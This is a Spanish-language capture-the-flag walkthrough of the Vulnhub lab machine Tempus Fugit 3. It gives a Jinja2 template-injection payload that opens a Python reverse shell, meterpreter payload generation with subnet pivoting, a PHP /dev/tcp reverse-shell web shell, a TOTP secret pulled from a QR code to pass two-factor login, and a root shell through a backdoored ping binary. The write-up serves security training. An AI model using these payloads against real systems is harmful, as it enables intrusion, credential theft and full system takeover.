Máquina muy recomendable.
This is an hard, real life box, created by @4nqr34z and @theart42 to be used as a CTF challenge on Bsides Newcastle 23. november 2019 and released on Vulnhub the same day.
In Tempus Fugit 3, the idea is still, like in the first two challenges; to create something “out of the ordinary”.
Aprendizaje avanzado. No pongo las flags.
1. Se trata de un
Después de fuzzear un poco probamos
inyección ssti y funciona
http://tf3/{{7*7}}
antes de que redirija observamos que muestra un not found tf3/49
Por lo tanto ssti attack reverse
con burp inyectamos
GET /{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.84\",9990));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\");'")}}{%endif%}{% endfor %}
urlencodeado
www-data@TF3:/srv/flask_app$
2. una vez dentro vemos que en static está la base de datos de conexión: db2.db, cifrada. Del app.py sacamos la clave para descifrarla
app = Flask(__name__)
app.secret_key = 'RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9'
pra = "pragma key='SecretssecretsSecrets...'"
con sqlcipher
sqlcipher db2.db
sqlite> PRAGMA key = 'SecretssecretsSecrets...';
sqlite> ATTACH DATABASE 'plaintext.db' AS plaintext KEY '';
sqlite> SELECT sqlcipher_export('plaintext');
sqlite> DETACH DATABASE plaintext;
salimos y con dbbrowser leemos los usuarios y contraseñas. Entramos via web con los 3 y nos aparece
48507
Puede ser un puerto.
3. cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.100.100 TF3 (estamos aquí)
luego estamos en una subnet. Con msfvenom creamos un shell reverse y lo subimos
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.84 LPORT=4445 -f elf > shell.elf
desde la víctima usamos
scp kali@192.168.2.84:/shell.elf .
Vamos a acceder a toda la subnet
msfconsole y use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
y en options los valores con los que hemos creado el shell.elf
run
en meterpreter
run autoroute -s 192.168.100.0/24
run autoroute -p
bg
use auxiliary/server/socks_proxy
exploit
tenemos entonces en 127.0.0.1:1080 acceso a la subnet, usar proxychains
4. escaneamos la subnet y nos da aparte de 192.168.100.100 (en el que estamos) 192.168.100.1. Escaneamos a fondo ambos y encontramos abierto el 443 en 100.1
Lo redirijimos desde la víctima a nuestro kali para un acceso más rápido (podríamos acceder con proxychains firefox 192.168.100.1:443)
ssh -N -R 192.168.2.84:18000:192.168.100.1:443 kali@192.168.2.84
En home encontramos
Tempus Fugit
Why a new site, again..?
We have now been hacked 2 times! Both times because we have hired consultants with limited expertise, setting up our systems.
This time, we are doing it all ourself! Learning as we go. I, Anita Handjaab and Clee Torres have used hours, days and weeks of our free time, really getting our hands dirty, in getting things up!
All under my (Hugh Janus) supervision.
The fact, that we now also are capable setting up servers and webservices, will give us a great competitive advantage!!
About this site
To save time, we decided not to reinstall the server. We just deleted the old websites, to be sure thehackers didn't leave anything behind. What could go wrong, right?
Nothing much here yet. Just finished basic functionallity. But this minimal profile will a good place to start adding our content. We will use one of our own amazing templates designed by Clee Torres, when we have figured out how to convert them from Wordpress:-)
y en customers
Customers
Customer upload.
Anita came up with a great idea!
We could let customers upload their material directly to us over secure SFTP. I am working on a script; "addcustomers" that will make it easy for everyone of us to create customer accounts.
Es un cms llamado processwire. Accedemos en login con admin y la credencial de janus antes encontrada.
5. Podemos instalar módulos. Probamos a buscar en la página oficial y encontramos un file manager
https://processwire.com/modules/process-file-manager/
Lo instalamos y subimos a la carpeta wire el shell reverse en php
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9990 0>&1'");?>
Lo abrimos y dentro
www-data@TF3:/var/www/html/wire$ (estamos ahora en 100.1)
En home tenemos
alanna
bendite
bhanu
brig
design
franni
hamid
hephzibah
larissa
melisande
pritchard
selime
shirley-ann
tres
wai-bun
Aquí encontramos abierto el puerto 48507!. Puede ser el sftp de anita. Probamos con las credenciales de shirley-ann (suponemos que es anita)
sftp -P 48507 shirley-ann@192.168.100.1
pero nos pide un verification code
6. en /var/backups encontramos shirley-ann.png. Es un qrcode:
otpauth://totp/shirley-ann@TF3?secret=76RA4HDNUVXN2ZD7TWAGJUHG2Q&issuer=TF3
Con python sacamos el otp para acceder sftp
(desde nuestra máquina)
import pyotp
totp = pyotp.TOTP('76RA4HDNUVXN2ZD7TWAGJUHG2Q')
print(totp.now())
www-data@TF3:/home$ sftp -P 48507 shirley-ann@192.168.100.1
Could not create directory '/var/www/.ssh'.
The authenticity of host '[192.168.100.1]:48507 ([192.168.100.1]:48507)' can't be established.
ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/lGxOVTxHQi9SgUs1iWU2UQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Verification code:
Connected to shirley-ann@192.168.100.1.
sftp>
Es el home de anita. Sacamos la clave id_rsa a temp, salimos y entramos por ssh
www-data@TF3:/tmp$ ssh -i id_rsa shirley-ann@192.168.100.1 -p 48507
Could not create directory '/var/www/.ssh'.
The authenticity of host '[192.168.100.1]:48507 ([192.168.100.1]:48507)' can't be established.
ECDSA key fingerprint is SHA256:6vcZIevy76FqXz5FeCRL/lGxOVTxHQi9SgUs1iWU2UQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Linux TF3 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Tue Nov 1 19:05:38 2022 from 192.168.2.104
shirley-ann@TF3:~$
7. Tenemos
User shirley-ann may run the following commands on TF3:
(ALL) NOPASSWD: /root/scripts/addcustomer
con el que ahora no sabemos qué hacer. Buscamos suid
find / -perm -4000 2>/dev/null
y encontramos ping. Parece modificado así que lo bajamos y decompilamos con ghidra.
case 0x70:
options = options | 8;
fill(local_28,optarg);
__isoc99_sscanf(optarg,&DAT_001050c2,&magic);
if ((magic == 0xdeadbeef) && (_Var1 = getuid(), _Var1 == 0x3f2)) {
puts("Enjoy your root-shell h4x0r!");
getchar();
setuid(0);
system("/bin/sh");
return 0;
}
Podemos acceder a root con este ping si lo ejecutamos desde el usuario 0x3f2, uid 1010, pero somos
shirley-ann@TF3:~$ id
uid=1005(shirley-ann) gid=1005(shirley-ann) groups=1005(shirley-ann)
8. Buscando más encontramos en el raiz
-rwx------ 1 1337 1337 1.8K Nov 1 10:10 ...
Es un archivo perteneciente al user 1337 que no existe. Luego aquí podemos usar el addcustomer con uid 1337, accediendo luego
uid=1337(hacker) gid=1005(shirley-ann) groups=1005(shirley-ann)
Accedemos al contenido de /... con cat y es una clave id_rsa. Probamos uno a uno los users y acaba siendo larissa
ssh -p 48507 -i irsa larissa@192.168.100.1
y larissa es uid 1010
larissa@TF3:~$ id
uid=1010(larissa) gid=1010(larissa) groups=1010(larissa)
Ejecutamos ping con la información antes obtenida
larissa@TF3:~$ ping -p deadbeef
PATTERN: 0xdeadbeef
Enjoy your root-shell h4x0r!
id
# id
uid=0(root) gid=1010(larissa) groups=1010(larissa)
#
